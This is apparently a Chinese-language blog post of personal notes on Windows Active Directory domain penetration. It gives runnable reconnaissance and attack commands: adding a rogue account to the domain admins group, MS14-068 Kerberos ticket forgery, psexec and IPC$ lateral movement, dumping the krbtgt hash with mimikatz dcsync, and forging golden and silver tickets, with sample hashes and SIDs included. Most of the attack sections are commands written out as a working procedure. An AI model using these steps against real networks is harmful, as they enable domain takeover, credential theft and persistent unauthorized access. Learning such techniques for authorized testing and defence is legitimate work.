2019-12-23:域渗透,笔记

网络工作模式
1,工作组,win系统安装之后默认的工作方式,可以在计算机属性和systeminfo下查看,处于工作组的主机是相互独立的没有统一的管理员,适用于中小型企业

2,域环境,将网络中多台计算机,逻辑上组织到一起,方便集中管理,区别工作组的逻辑环境。域是组织和存储资源的核心管理单元,在域环境中有统一的管理员,这个管理员叫做域控(AC),适用于中大型企业

域控,加入了域环境并且安装了活动目录(AD)的计算机
成员服务器,加入了域提供了某种服务的计算机
独立服务器,工作方式是工作组,提供某些服务的计算机

域控的安装配置条件
1,操作者是管理员
2,操作系统要求,windows 2003 企业版,专业版可以安装,web版不行,DNS和AD可以安装在不同的主机上,windows 2008 企业版,专业版,数据中心版可以安装,web版不行,DNS和AD必需安装在同一台机器上
3,文件爱你管理系统要求,NTFS格式
4,硬盘分区要足够大
5,真实机器,32G起步,虚拟机1G
6,必需配置静态ip

安装步骤
1,配置静态ip
2,安装DNS
3,安装活动目录,运行里运行dcpromo命令

域渗透流程:
域环境信息收集(网络信息、域用户、域管理员、域名称、本地用户列表等)
域控的定位(找DC所在位置,ping nslookup powershell python 等等)
域控的攻击(MS14068 传输票据(PTT) MSB中继 配置问题 提权等等)
登录域控(pstools SMB ipc$ WMI MSF CS 等等)
收集当前域环境下的信息(hash/网路拓扑/用户数据等)
域渗透的前提条件:需要拿下处于某个域环境的一台PC(DC:后续流程就简单了 、非DC:做上述域渗透的所有流程!!!!)

信息收集命令
ipconfig /all
net user
net localgroup administrsators 本地管理员(域用户)
net user /domain 域用户 krbtgt kerbreos认证中心用户、
net group /domain 域环境中的组
net group "domain admins" /domain 查询域管理组
net group "domain computers" /domain 查询域中所有的计算机
net group "domain controllers" /domain 查询域控
net group "domain users" /domain 查询域中所有的用户
net time /domain 判断主域,主域服务器中有时间服务器
net config workstation 登录域
net session 会话
net use \\ip\C$ "pwd" /user:user 建立会话
net share
net view 查看域内PC列表
net view \\ip 某ip对应共享
new view /domain 查看整个网络环境中域列表
net view /domain:workgroup 查看指定域下计算列表
net accounts /domain 域密码策略
nbtstat -A
route print
arp -a
针对域的命令:
dsquery computer
dsquery subnet
group
ou
site
server
user
*

###域控的定位
net group "domain controllers" /domain 查询域控 mydemo
ping -n 1 mydemo -4 根据名称找IP
确认 ping mydc.com nslookup mydc.com DNS AD 同一台PC
net group "domain admins" /domain 查询域管理组

DOS命令中添加域账号:
net user username password /add /domain
net group 组名 用户名 /add /domain
net user hacker 123.com, /add /domain
net group "domain admins" hacker /add /domain
net group "domain controllers" hacker /add /domain
注意上述两行命令需要域管理员方可操作!!!!!!

psexec.py test.com/administrator:nihao123!@192.168.6.2

MS14-068攻击(当前目标服务器:域控 中没有安装KB3011780)
step 1:dir \\mydemo.mydc.com\C$

step 2:使用mimikatz和MS14-068 生成票据
查看当前普通域用户所在PC的SID whoami /all S-1-5-21-1882168165-1614527120-2746584387-1110
当前系统用户的sid:whoami /user
查看所有用户的sid:wmic useraccount get name,sid
MS14-068.exe MS14-068.py MS14-068.ps1
产生票据的地方是在普通域用户所在PC 还是可以在攻击者电脑中(代理) 运行?
产生票据的过程需要连接到域控PC!!!!连接不上则无法生成票据、
ping mydc.com
192.168.1.137 没有web DNS 搭理PC(肉鸡) 测试域控的连通性 没问题
192.168.1.130 web 能访问

step 3:python MS14-068.py 查看帮助信息
-u 域账号@域名城 dcuser2@mydc.com
-p 域账号密码 12345.com
-s 域账号的SID号 S-1-5-21-1882168165-1614527120-2746584387-1110
-d 域控所在的位置 mydemo.mydc.com
TGT_dcuser2@mydc.com.ccache
python ms14-068.py -u dcuser2@mydc.com -p 12345.com -s S-1-5-21-1882168165-1614527120-2746584387-1110 -d mydemo.mydc.com

step 4: 使用mimikatz 清空当前计算机中kerberos票据
kerberos::purge 清空票据
然后倒入票据:
mimikatz.exe "kerberos::ptc TGT_dcuser2@mydc.com.ccache"

step5:dir \\mydemo.mydc.com\C$

登录域
python psexec.py 域名/账号:密码@域ip
msf:use exploit/windows/smb/psexec
shell中,net use \\ip\c$ "密码" /user:账户名
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:

黄金票据
1,获得krbtgt账户的HASH,mimikatz "lsadump::dcsync /domain:test.com /user:krbtgt"
2,生成环境票据 mimikatz.exe "kerberos::golden /admin:administrator /domain:test.com /sid:用户id /krbtgt:NTLM HASH /ticket:golden.kiribi"
3,导入换进票据, mimikatz kerberos::purge清票据 导入票据mimikatz kerberos::ptt 票据名 dir \\域名\c$ 能列出目录,说明成功提权

黄金票据:TGT
条件:
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
step 1:获取KRBTGT的HASH
mimikatz.exe "lsadump::dcsync /domain:test.com /user:krbtgt" fe7e9d05fc51f8bb80f9b6fd024160c0

step 2:生成黄金票据 golden.kiribi
域SID号:S-1-5-21-1882168165-1614527120-2746584387-500
mimikatz.exe "kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-1809810028-2972874382-1953511446 /krbtgt:3ea18bc5bfe3aff6605b39df60a886c3 /ticket:golden.kiribi"
/admin:伪造的用户名
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
step 3:黄金票据的使用
通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list
step 4:查看dir \\mydemo.mydc.com\C$

白银票据:
1.域名称
2.域的SID值
3.域的服务账户的密码HASH(不是krbtgt,是域控)
4.伪造的用户名,可以是任意用户名,这里是silver
step 1:首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是mydemo$的HASH。
sekurlsa::logonpasswords efa6570ee8fae2fc58888cda0c2cc135

step 2: kerberos::golden /domain:mydc.com /sid:S-1-5-21-1882168165-1614527120-2746584387 /target:mydemo.mydc.com /service:cifs /rc4:efa6570ee8fae2fc58888cda0c2cc135 /user:silver /ptt
/domain: 当前域名称
/sid: SID值 取最后- 前面的部分
/target: 目标主机 域控
/service: 服务名称 要访问共享文件 CIFS
/rc4: 目标主机HASH
/user: 伪造用户
/ptt pass the ticket 把生成的票据导入内存 如果想导出到文件 使用 /ticket:silver.sil kerberos::ptt ticket:silver.sil

step 3:klist 查看本机的kerberos票据可以看到生成的票据
step 4: dir \\mydemo.mydc.com\C$

posted @ 2019-12-23 15:34  bonga  阅读(295)  评论(0编辑  收藏  举报